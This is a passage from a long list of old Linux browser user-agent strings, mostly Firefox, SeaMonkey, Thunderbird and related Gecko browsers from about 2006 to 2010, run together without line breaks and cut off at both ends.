(Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20061201 Firefox/2.0.0.10 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071015 SUSE/2.0.0.10-0.2 Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10 (Debian-2.0.0.10-0etch1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071126 Ubuntu/7.10 (gutsy) Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071128 Fedora/2.0.0.10-2.fc7 Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071203 Ubuntu/7.10 (gutsy) Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.10) Gecko/20071213 Fedora/2.0.0.10-3.fc8 Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20061201 Firefox/2.0.0.11 (Linux Mint) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20070914 Mandriva/2.0.0.11-1.1mdv2007.0 (2007.0) Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071127 Ubuntu/dapper-security Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071128 Firefox/2.0.0.11 (Debian-1:2.0.0.11-1thai1tle6) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071201 (Debian-1.8.1.11-1) Epiphany/2.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071203 IceCat/2.0.0.11-g1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071204 BonEcho/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071204 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071204 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071206 Firefox/2.0.0.11 Flock/1.0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071217 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20080201 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11pre) Gecko/20071206 Firefox/2.0.0.11 Navigator/9.0.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080129 Firefox/2.0.0.12 (Debian-2.0.0.12-0etch1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mnenhy/0.7.5.666 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080201 SeaMonkey/1.1.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080208 Fedora/2.0.0.12-1.fc8 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080208 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080208 Firefox/2.0b2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080208 SeaMonkey/1.1.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080219 Firefox/2.0.0.12 Navigator/9.0.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080227 Thunderbird/2.0.0.12 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080304 Firefox/2.0.0.12 Flock/1.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.12) Gecko/20080321 BonEcho/2.0.0.12 (SliTaz GNU/Linux) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20061201 Firefox/2.0.0.13 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0 Iceweasel/2.0.0.3 (Debian-2.0.0.13-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.3 Iceweasel/2.0.0.13 (Debian-2.0.0.13-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080313 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080313 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080313 SeaMonkey/1.1.9 (Ubuntu-1.1.9+nobinonly-0ubuntu1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080316 SUSE/2.0.0.13-0.1 Firefox/2.0.0.13 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080316 SUSE/2.0.0.13-1.1 Firefox/2.0.0.13 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080325 Firefox/2.0.0.13 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080330 Ubuntu/7.10 (gutsy) Firefox/2.0.0.13 (Linux Mint) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.13) Gecko/20080401 BonEcho/2.0.0.13 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20061201 Firefox/2.0.0.14 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080404 Iceweasel/2.0.0.14 (Debian-2.0.0.14-0etch1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080404 Iceweasel/2.0.0.14 (Debian-2.0.0.14-2) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080410 SUSE/2.0.0.14-0.4 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080414 Firefox/2.0.0.14 Flock/1.1.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080416 Fedora/2.0.0.14-1.fc8 Firefox/2.0.0.14 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080417 BonEcho/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080417 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080419 Ubuntu/8.04 (hardy) Firefox/2.0.0.12 MEGAUPLOAD 1.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080423 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080428 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080502 Thunderbird/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080505 Thunderbird/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080508 Ubuntu/8.04 (hardy) Firefox/2.0.0.14 (Linux Mint) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080525 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/2008052906 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.14) Gecko/20080530 Firefox/2.0.0.14 Flock/1.2.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.15) Gecko/20061201 Firefox/2.0.0.15 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.15) Gecko/20080612 Iceweasel/2.0.0.15 (Debian-2.0.0.15-0etch1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.15) Gecko/20080702 Ubuntu/8.04 (hardy) Firefox/2.0.0.15 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080715 Fedora/2.0.0.16-1.fc8 Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080715 Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080715 Ubuntu/7.10 (gutsy) Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080716 (Gentoo) Galeon/2.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080716 (Gentoo) Galeon/2.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080716 Fedora/1.1.11-1.fc8 SeaMonkey/1.1.11 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080716 Firefox/3.07 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080716 SeaMonkey/1.1.11 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080718 Ubuntu/8.04 (hardy) Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080722 Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080723 Fedora/2.0.0.16-1.fc8 Thunderbird/2.0.0.16 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080724 Thunderbird/2.0.0.16 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080703 Mandriva/2.0.0.17-1.1mdv2008.1 (2008.1) Firefox/2.0.0.17 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080827 Firefox/2.0.0.10 (Debian-2.0.0.17-0etch1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080829 SeaMonkey/1.1.12 (Ubuntu-1.1.12+nobinonly-0ubuntu1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080921 SUSE/2.0.0.17-1.2 Firefox/2.0.0.17 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080922 Ubuntu/7.10 (gutsy) Firefox/2.0.0.17 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080924 Ubuntu/8.04 (hardy) Firefox/2.0.0.17 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080925 Thunderbird/2.0.0.17 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.18) Gecko/20080921 SUSE/2.0.0.18-0.1 Firefox/2.0.0.18 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.18) Gecko/20081030 SeaMonkey/1.1.13 (Ubuntu-1.1.13+nobinonly-0ubuntu1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.18) Gecko/20081112 Fedora/2.0.0.18-1.fc8 Firefox/2.0.0.18 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.18) Gecko/20081113 Fedora/1.1.13-1.fc8 SeaMonkey/1.1.13 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.18) Gecko/20081113 SeaMonkey/1.1.13 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.18) Gecko/20081113 Ubuntu/8.04 (hardy) Firefox/2.0.0.18 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.18) Gecko/20081125 Thunderbird/2.0.0.18 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081202 Firefox (Debian-2.0.0.19-0etch1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081204 Iceape/1.1.14 (Debian-1.1.14-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/2008120920 Thunderbird/2.0.0.19 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081213 SUSE/2.0.0.19-0.1 Firefox/2.0.0.19 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081216 Fedora/2.0.0.19-1.fc8 Firefox/2.0.0.19 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081216 Galeon/2.0.4 Firefox/2.0.0.19 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081216 SeaMonkey/1.1.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081218 SeaMonkey/1.1.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081221 SeaMonkey/1.1.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081230 Firefox/2.0.0.19 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20090105 Thunderbird/2.0.0.19 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20060601 Firefox/2.0.0.2 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20061023 SUSE/2.0.0.2-1.1 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20061201 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20061201 Firefox/2.0.0.2 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070208 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070208 Iceweasel/2.0.0.2 (Debian-2.0.0.2+dfsg-3) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070221 SUSE/2.0.0.2-6.1 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070221 SeaMonkey/1.1.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070224 BonEcho/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070225 Firefox/2.0.0.2 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070226 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070302 BonEcho/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070307 Firefox/2.0.0.2 Flock/0.7.99 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070309 SeaMonkey/1.1.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070314 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070317 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.20) Gecko/20081217 Firefox(2.0.0.20) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.21) Gecko/20090318 Thunderbird/2.0.0.21 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.21) Gecko/20090322 SeaMonkey/1.1.15 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.21) Gecko/20090331 K-Meleon/1.5.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.21) Gecko/20090409 Thunderbird/2.0.0.21 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.22) Gecko/20090605 SeaMonkey/1.1.17 (Ubuntu-1.1.17+nobinonly-0ubuntu1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.22) Gecko/20090608 Thunderbird/2.0.0.22 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.22) Gecko/20090624 SeaMonkey/1.1.17 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.22) Gecko/20090708 SeaMonkey/1.1.17 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.22pre) Gecko/20090327 Ubuntu/7.10 (gutsy) Firefox/2.0.0.22pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.22pre) Gecko/20090327 Ubuntu/8.04 (hardy) Firefox/2.0.0.22pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.23) Gecko/20090817 Thunderbird/2.0.0.23 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.23) Gecko/20090907 SeaMonkey/1.1.18 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.23) Gecko/20090908 Fedora/1.1.18-1.fc10 SeaMonkey/1.1.18 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.24) Gecko/20100317 Thunderbird/2.0.0.24 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.24) Gecko/20100411 Thunderbird/2.0.0.24 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20060601 Firefox/2.0.0.3 (Linux Mint) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20060601 Firefox/2.0.0.3 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20061201 Firefox/2.0.0.1 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20061201 Firefox/2.0.0.3 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20061201 MEGAUPLOAD 1.0 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20070208 Mandriva/2.0.0.3-2mdv2007.1 (2007.1) Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20070310 Firefox/2.0.0.3 (Debian-2.0.0.3-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20070310 Iceweasel/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20070310 Iceweasel/2.0.0.3 (Debian-2.0.0.3-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20070310 Iceweasel/2.0.0.3 (Debian-2.0.0.3-2) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20070320 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20070320 SUSE/2.0.0.3-11.1 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20070321 Firefox/2.0.0.3 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20070322 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20070405 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20070407 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20070417 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20070517 BonEcho/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3) Gecko/20070521 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.3pre) Gecko/20070307 Firefox/2.0.0.3pre (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20061023 SUSE/2.0.0.4-1.1 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20060601 Firefox/2.0.0.4 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20061023 SUSE/2.0.0.4-1.1 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20061201 Firefox/2.0.0.4 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20061201 Mozilla/5.0 (Linux Mint) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070508 (Debian-1.8.1.4-2ubuntu5) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070508 (Debian-1.8.1.4-3) Galeon/2.0.2 (Debian package 2.0.2-4) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070508 Iceweasel/2.0.0.4 (Debian-2.0.0.4-0etch1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070508 Iceweasel/2.0.0.4 (Debian-2.0.0.4-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070509 Iceape/1.1.2 (Debian-1.1.2-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 (Kubuntu) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070530 Fedora/2.0.0.4-1.fc7 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070531 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070531 BonEcho/2.0.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070531 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070531 Firefox/2.0.0.4 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20070602 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4pre) Gecko/20070414 BonEcho/2.0.0.4pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4pre) Gecko/20070509 Firefox/2.0.0.4pre (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20061201 Firefox/2.0.0.5 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20070718 Fedora/2.0.0.5-1.fc7 Firefox/2.0.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20070719 Firefox/2.0.0.5 (Debian-2.0.0.5-0etch1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20070725 Firefox/2.0.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20070728 Firefox/2.0.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20061201 Firefox/2.0.0.6 (Linux Mint) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20061201 Firefox/2.0.0.6 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070208 Mandriva/2.0.0.6-4mdv2007.1 (2007.1) Firefox/2.0.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070601 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070723 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070723 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1) (.NET CLR 3.5.30729) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 (Debian-2.0.0.6-0etch1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/2007072517 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070802 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070802 SeaMonkey/1.1.4 Mnenhy/0.7.5.666 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070804 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070807 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070831 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070914 Firefox/2.0.0.6 Flock/0.9.1.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.7) Gecko/20070921 Firefox/2.0.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.7) Gecko/20070923 Firefox/2.0.0.7 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.7) Gecko/20071018 BonEcho/2.0.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.7pre) Gecko/20070815 Firefox/2.0.0.6 Navigator/9.0b3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20061201 Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071004 Firefox/2.0.0.8 (Debian-2.0.0.8-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-0etch1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071008 FreeBSD/i386 Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071008 Iceape/1.1.5 (Ubuntu-1.1.5-1ubuntu0.7.10) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071019 Fedora/2.0.0.8-1.fc7 Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071022 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071022 Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071201 Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8pre) Gecko/20071015 Firefox/2.0.0.7 Navigator/9.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/1.5.0.9 (Debian-2.0.0.9-2) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071025 FreeBSD/i386 Firefox/2.0.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071030 Iceape/1.1.6 (Debian-1.1.6-3) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071103 Firefox/2.0.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071103 Firefox/2.0.0.9 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071105 Fedora/2.0.0.9-1.fc7 Firefox/2.0.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; 